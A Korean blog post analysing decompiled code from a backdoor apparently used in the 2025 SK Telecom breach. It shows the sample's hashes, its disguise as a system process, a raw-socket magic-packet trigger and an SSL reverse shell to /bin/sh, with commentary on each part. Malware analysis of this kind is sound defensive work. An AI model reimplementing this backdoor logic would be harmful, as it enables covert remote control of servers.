꿈을꾸는 파랑새

오늘은 SKT 통신사 해킹 파일 추정 dbus-srv-bin.txt 간단 분석을 해보는 시간을 가져 보겠습니다. 일단 개인적으로 이런류의 악성코드 분석은 개인적으로 아직은 배우는 입장이라서 검색과 아는 지식을 통해서 분석하는 것입니다. 오류가 있을 수가 있으니 양해 부탁합니다.
2025년 4월, SK텔레콤의 홈 가입자 서버(HSS)시스템에 침입한 해커의 악성코드로 가입자들의 유심 정보가 유출된 대규모 개인 정보 유출 사태가 발생했으며 이렇게 해서 SKT 통신사 및 SKT 알뜰폰 인 SKT 세븐모바일 사용자도 전원 유심을 교체하게 유심 보호 서비스를 신청해야 하는 상태가 발생했습니다. 일단 개인적으로 획득한 악성코드로만 분석하고 아직은 실력이 없으니 이해를 부탁합니다.
악성코드해쉬
파일명:dbus-srv-bin.txt
사이즈:1 MB
MD5:714165b06a462c9ed3d145bc56054566
SHA-1:2ca9a29b139b7b2993cabf025b34ead957dee08b
SHA-256:aa779e83ff5271d3f2d270eaed16751a109eb722fca61465d86317e03bbf49e4

FUN 00404b20 포함된 코드

dbus-srv-bin.txt 안에 포함된 내용
dbus-srv-bin.txt 안에 포함된 내용

local_10 = "dbus-daemon --system";
  DAT_006064e8 = "/var/run/system.pid";
  iVar1 = access("/var/run/system.pid",4);
  if (iVar1 != 0) {
    _Var2 = getuid();
    if (_Var2 == 0) {
      FUN_00401a88(&DA(T)_00606500,0x24a);
      tVar3 = time((tim(e)_t *)0x0);
      srand((uint)tV(a)r3);
      FUN_00401c28(&DAT(_)0(0)606508,local_10);
      FUN_00401c28(&DAT_006067(0)8,&local_38);
      FUN_00401c28(&DAT_006(0)6729,&local_68);
      FUN_00402467(param_1,par(a)m_2,&DAT_00606508);
      daemo(n)(0,0);
      chdir("(/)");
      FUN_00401f(2)d();
      signal(0x11,F(U)N_00401f4d);
      DAT_006064e4 = g(e)tpid();
      iVar1 = open(DAT_00(6)064e8,0x41,0x1a4);
      close((i)Var1);
      signal(0x(1)1,(__sighandler_t)0x1);
      FUN_00402c67();
    }
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

코드 분석

코드 흐름 요약
1.local_10에 문자열 대입->dbus-daemon --system
2./var/run/system(.)pid 파일 접근 확인->access("/var/run/system.pid",4);(읽기 권한이 있는지 확인)
3. 만약 파일이 존재하지 않으면 현재 사용자 UID 가져오기 루트(root) 권한인지 확인
4. 랜덤 시드 초기화 (현재 시각으로 srand(time(NULL)))
FUN_00401c28()로 문자열 복사 (커스텀 strcpy 같은 것 추정)
FUN_00402467() 호출 (아마도 소켓 초기화 관련)
daemon(0, 0) 호출: 데몬 프로세스로 전환 (백그라운드로 숨기기)
루트 디렉터리로 이동 chdir("/")`
신호 핸들러 등록 (signal 0x11, 즉 SIGSEGV 또는 SIGCHLD 핸들링)
현재 프로세스 PID를 /var/run/system.pid에 기록
FUN_00402c67() 호출: 메인 악성 기능으로 진입
5. 파일이 이미 존재하면 그냥 exit(0) 종료
dbus-daemon 위장:프로세스 이름을 dbus-daemon --system처럼 위장해서 정체 숨김(ps 명령어로 봤을 때 정상 시스템 프로세스처럼 보이게 했을 것 같음)
루트 권한 체크 
반드시 root 사용자 권한에서만 실행(루트가 아니면 악성 행위 안 함 샌드박스 탐지 우회 가능성 큼)
데몬 프로세스화 
daemon(0,0) 호출: 터미널 끊고 백그라운드로 실행: 로그 남기지 않고 몰래 작동
PID 파일 만들기 /var/run/system.pid에 자기 PID 저장
정상적인 서비스처럼 행동하는 척
랜덤성 부여
srand(time(NULL)):랜덤 요소를 삽입해 분석이나 탐지를 어렵게 함(ex: 통신 포트, 난수 기반 암호화 등 가능)
악성 루틴 호출
FUN_00402c67():진짜 악성 로직을 담당할 함수로 추정 가능(ex: C2 통신, 백도어 기능 등)

FUN_00402c67() 내용

FUN_00402c67() 내용
FUN_00402c67() 내용

local_28 = (undefin(e)d1 *)0x0;
  puVar9 = &DAT_004055c0;
  puVar10 = local_378;
  for (lVar8 = 0x(1)e; lVar8 != 0; lVar8 = lVar8 + -1) {
    *puVar10 = *puVar9;
    puVar9 = puVar9 + 1;
    puVar10 = puVar10 + 1;
  }
  local_288[0] = 0x1e;
  local_280 = local_378;
  uVar2 = htons(0x(8)00);
  local_6c = socket(0(x)11,3,(uint)uVar2);
  if ((local_6c < 1) || (iVar3 = setsockopt(local_6c,1,0x1a,local_288,0x10), iVar3 == -1)) {
    return;
  }
  while( true ) {
    do {
      do {
        FUN_0040(1)8d8(loc(a)l_278,0,0x200);
        local_54 = 0;
        sVar5 = rec(v)from(local_6c,local_278,0x200,0,(sockaddr *)0x0,(socklen_t *)0x0);
        local_68 = (un(d)efined4)sVar5;
        local_50 = local_(2)6a;
        local_5c = (local_26(a)[0] & 0xf) << 2;
      } while (local_5c < 0x14);
      if (local_261 == '\x06') {
        local_48 = local_26a + (int)local_5c;
        local_58 = (uint)(local_48[0xc] >> 4) << 2;
        local_40 = local_26a + (l(o)ng)(int)local_5c + (long)local_58;
      }
      else if (local_261 == '\x11') {
        local_38 = au(S)tack_256;
        local_40 = abSta(c)k_24e;
      }
      else if (local_261 == '\x01') {
        local_28 = au(S)tack_256;
        local_40 = abSta(c)k_24e;
      }
    } while (local_40 == (b(y)te *)0x0);
    if (*(int *)(loc(a)l_40 + 4) == -1) {
      local_2c = loca(l)_25e[0];
    }
    else {
      local_2c = *(und(e)fined4 *)(local_40 + 4);
    }
    l(o)cal_64 = fork();
    if ((l)ocal_64 == 0) break;
    waitpid(()l(o)cal_64,(int *)0x0,1);
  }
  local_1c = 0;
  local_398 = 0;
  local_390 = 0;
  local_388 = 0;
  local_3b8 = 0x2f;
  local_3b7 = 0x75;
  local_3b6 = 0x73;
  local_3b5 = 0x72;
  local_3b4 = 0x2f;
  local_3b3 = 0x6c;
  local_3b2 = 0x69;
  local_3b1 = 0x62;
  local_3b0 = 0x65;
  local_3af = 0x78;
  local_3ae = 0x65;
  local_3ad = 99;
  local_3ac = 0x2f;
  local_3ab = 0x70;
  local_3aa = 0x6f;
  local_3a9 = 0x73;
  local_3a8 = 0x74;
  local_3a7 = 0x66;
  local_3a6 = 0x69;
  local_3a5 = 0x78;
  local_3a4 = 0x2f;
  local_3a3 = 0x6d;
  local_3a2 = 0x61;
  local_3a1 = 0x73;
  local_3a0 = 0x74;
  local_39f = 0x65;
  local_39e = 0x72;
  local_39d = 0;
  _Var4 = fork();
  if (_Var4 == 0) {
    setsid();
    signal(1,(__sighandler_t)0x0);
    uVar6 = FUN_00401a(9)8(DAT_006064c0);
    FUN_004018d8(DA(T)_00(6)064c0,0,uVar6);
    FUN_00401c28(DAT_006064c(0)&local_3b8);
    prctl(0xf,&l(o)cal_3b8);
    uVar6 = FUN_004(0)2b20((char *)(local_40 + 10));
    local_1c = (int)uV(a)r6;
    if (local_1c == 0) {
      if ((*(int *)(local(_)40 + 0x18) == -1) || (*(int *)(local_40 + 0x18) == 0)) {
        local_60 = FUN_00402(1)44(local_2c,*(undefined2 *)(local_40 + 8));
        if (0 < local_6(0)) {
          FUN_00403c21(loc(a)l_60,(char *)0x0,(char *)0x0,0);
        }
      }
      else {
        local_2c = *(undefined4 *)(local_40 + 0x18);
        pbVar1 = local_40;
        pbVar1[0x18] = 0xff;
        pbVar1[0x19] = 0xff;
        pbVar1[0x1a] = 0xff;
        pbVar1[0x1b] = 0xff;
        pbVar1 = local_40;
        pbVar1[0] = 0x72;
        pbVar1[1] = 0x55;
        pbVar1[2] = 0;
        pbVar1[3] = 0;
        FUN_0040225d(local_2c,local_40);
      }
    }
    else if (local_1c == 1) {
      pcVar7 = inet_nt(o)a((i(n)_addr)*(in_addr_t *)(local_50 + 0xc));
      FUN_00401c28(&local(_)398,(p)cVar7);
      uVar2 = ntohs(*(uint16_t *)(l(oc)al_48 + 2));
      FUN_004032e2(&local_398,(uint)uVar2);
    }
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
                    /* WARNING: Subroutine does not return */
  exit(0);
}

코드 분석

1. 먼저 소켓 초기화
AF_PACKET:이더넷 프레임을 직접 다룸 (Layer 2 접근)
SOCK_RAW:데이터 그대로 읽고 쓰는 소켓
htons(0x800) = 0x0800은 IPv4 프로토콜을 의미
즉 해당 소켓은 네트워크 인터페이스에서 직접 IPv4 패킷을 읽으려고 열림
일반 TCP/UDP 소켓이 아니라 스니퍼 수준 권한 필요 (root 권한)
2. 패킷 수신
512바이트 크기의 버퍼(local_278)에 패킷을 수신
네트워크상에 떠다니는 모든 IP 패킷을 가로챔
-TCP, UDP, ICMP 가릴 것 없이 수신
3. 패킷 분석
0x06:TCP:TCP 헤더 기준으로 파싱
0x11:UDP:UDP 헤더 기준으로 파싱
0x01:ICMP ICMP 헤더 기준으로 파싱
즉 TCP, UDP, ICMP 모두 처리 가능하게 설계되어 있음
4. 패킷 내부 명령어 파싱
수신된 패킷에서 명령어 구조를 읽어냄
local_40 포인터 기준으로 +4바이트를 읽어서:-1 이면 (0xFFFFFFFF) 다른 경로 처리 아니면 직접 명령 인식
즉 해당 백도어는 패킷에 박혀 있는 명령 ID나 데이터 필드를 읽는 것이 특징
5. 프로세스 포크 후 행동
fork() 해서 자식 프로세스 생성
setsid()->세션 리더->터미널로부터 완전히 독립
6. 프로세스 이름 숨기기
리눅스 프로세스 테이블에 자신의 이름을 postfix master처럼 보이게 변조함
ps,top 같은 프로세스 리스트에 떠도 정상 데몬처럼 위장
7. 명령 수행 흐름
특정 필드 == 0 또는 -1:TCP 소켓 연결을 열고 Reverse Shell 생성
특정 IP/Port 값이 있으면 서버 접속 후 데이터 송수신
핵심:
정상적으로 맞춘 패킷을 보내며 백도어가 SSL 암호화된 Reverse Shell을 열어주게 돼 있음
공격자 PC(조작된 패킷 전송)->백도어 감염 서버 - raw socket 수신->(패턴 매칭 성공)->백도어 - 프로세스 포크 및 setsid->(프록시 프로세스 생성)
Reverse SSL Connection 생성->공격자에게 /bin/sh 쉘 제공

FUN_00403c21 함수

SSL_library_init();
    SSL_load_error_strings();
    SSL_library_init();
    local_88 = (T)LSv1_server_method();
    local_80 = SSL(_)CTX_new(local_88);
    if (local_80 == (S)SL_CTX *)0x0) {
      perror("Unable (t)o create SSL context");
      ERR_print_errors_f(p)(stderr);
      retu(r)n 0;
    }
    local_60 (=) BI(O)_new_mem_buf(local_50,-1);
    local_70 = PEM_rea(d)_bio_X509(local_60,(X509 **)0x0,(undefined1 *)0x0,(void *)0x0);
    SSL_CTX_use_certifica(t)e(local_80,local_70);
    local_58 = BIO_new_mem_buf(local_48,-1);
    local_68 = P(E)M_read_bio_RSAPrivateKey(local_58,(RSA **)0x0,(undefined1 *)0x0,(void *)0(x)0);
    SSL_CTX_use_RSAPri(v)ateKey(local_80,local_68);
    iVar1 = SSL_CTX_check(_)private_key(local_80);
    if (iVar1 == 0) {
      fwrite("Private key (d)oes not match the public certificate\n",1,(0)x32,stderr);
      ERR_print_erro(r0s_fp(stderr);
      return 0;
    }.....

코드 분석

악성코드 전체 동작에서 핵심 Reverse Shell SSL 터널 세팅하는 함수
FUN_00403c21()은 양방향 SSL 암호화된 쉘 세션을 생성해서 공격자가 원격에서 /bin/sh를 열 수 있게 해주는 함수
1. 기본 설정
프로세스 이름을 qmgr -l -t fifo -u로 위장시킴 (Postfix 큐 매니저처럼 보이게)
/bin/sh 실행 준비: 환경 변수 HOME을 /tmp로 설정 (로그 최소화)
2. 조건부 system() 실행
만약 param_2, param_3에 명령어가 들어오면 system() 호출
즉 초기 세팅 명령어나 준비 명령어를 서버가 보낼 수 있음  
(예: iptables 열기, 방화벽 끄기 같은 걸 할 수도 가능성도 있음)
3.SSL 세션 준비
param_4 == 0 이면 클라이언트 모드 SSL (SSL_connect())
아니면 서버 모드 SSL (SSL_accept())
공통 세팅
암호화 스위트는 RC4-MD5
서버 모드일 때는 하드코딩된 PEM 인증서와 RSA 프라이빗 키 사용
 SSL 암호화로 네트워크 트래픽을 숨김->IDS/IPS 탐지 어렵게 함
4.쉘 세션 열기
dup2(param_1, 0/1/2)->소켓을 표준 입력(stdin), 출력(stdout), 에러(stderr)로 리다이렉션
execve("/bin/sh", ["qmgr -l -t fifo -u"], envp)->쉘을 소켓에 직접 연결하게 함
공격자가 입력하는 명령어가 바로 /bin/sh로 들어가고 출력은 SSL 터널 통해 돌아감
5.포크 & 양방향 데이터 포워딩
fork() 후 부모는 select()로 소켓 입출력 감시
select()로 SSL 소켓과 로컬 파일 디스크립터를 양쪽 모두 기다림
읽은 데이터를 양쪽으로 넘김
6. 특이한 제어 흐름
패킷에 0x0B 바이트가 있으면 특별 처리
ioctl() + kill() 호출
ioctl(0x5414):터미널 윈도우 크기 변경
kill(0, SIGWINCH):자식 프로세스에 윈도우 사이즈 변경 시그널 전파
윈도우 사이즈 변경 지원하는 고급 쉘임(ex: ssh처럼 터미널 리사이즈 대응)
7. 종료 처리
SSL 세션 종료
소켓 닫기
프로세스 종료 (exit(0))  
SSL 암호화+프로세스 위장+윈도 사이즈 제어+공격자 명령어 실행까지 지원하는 고급형 백도어 리버스 쉘
공격자가 리눅스 서버 안으로 SSL 터널을 통해

FUN_00403c21 함수
FUN_00403c21 함수

완전한 터미널 세션을 확보  
포렌식/네트워크 탐지 거의 어렵게 만들어놓음

FUN_00403c21 함수

부모 프로세스 select 감시:fork() 호출 이후 부모 프로세스는 Select() 함수를 사용을 해서 두 개의 파일 디스크립터를 동시에 감시하며 감시 대상은 DAT_006064e0  백도어 자체의 어떤 로컬 파일 디스크립트 일 가능성이 있으며 백도어 내부의 다른과 제어 또는 통신에 사용 될수 있음

param_1:자식 프로세스 와 연결된 SSL 암호화된 소켓 공격자와 통신 채널

양방향 데이터 전송

Select() 함수가 반환 시 감시하던 파일 디스크립터 중 하나 또는 양쪽 모두에서 데이터가 도착했음을 의미하면 DAT_0060640 데이터는 SSL_write(local_90)를 통해서 SSL 암호화된 소켓을 통해 공격자에게 전송하는 방식을 사용을 함

즉 백도어 내부의 정보나 명령 실행 결과를 공격자에게 전달하는 경로 가 되는 것임

이러한 공격 방법을 통해서 SSL 암호화된 통신을 주고받는 데이는 암호화되어 네트워크 감시로부터 보호 가 되면 DAT_006064e0를 통해서 백도어의 다른 기능이나 실행된 쉘과 데이터를 주고받으면서 공격자가 내린 명령을 쉘로 전달하며 쉘의 실행 결과를 다시 공격자에게 안전하게 전송하는 역할을 수행

비동기 I/O 모델을 사용해서 공격자와의 암호화된 통신과 로컬 시스템과 상화 작용을 효율적으로 관리하며 백도어가 원격 제어기능을 안정적이게 은밀하게 위해서 구성된 것을 추정이 됩니다.

pestudio 본 바이러스토탈 결과
pestudio 본 바이러스토탈 결과

일단 인터넷상에서 명의도용 차단하는 것 즉 스마트폰을 추가로 개설하는 방법만 나와 있는데 이것은 자신의 명의로 스마트폰을 개통하는 것만 차단할 뿐 해당 유출된 개인정보를 바탕으로 통장 개설 및 신용 조회 등을 하는 것을 차단하지 못하므로 근본적인 방어는 나이스지킴이, 올크렛딧 같은 유료 명의 도용 서비스에 가입해서 자신이 신용조회 차단, 명의도용 차단, 대출 같은 것이나 기타 자신의 이름으로 일어나는 것을 차단을 위해서 해당 유료 서비스를 이용하는 것을 매우 권장합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band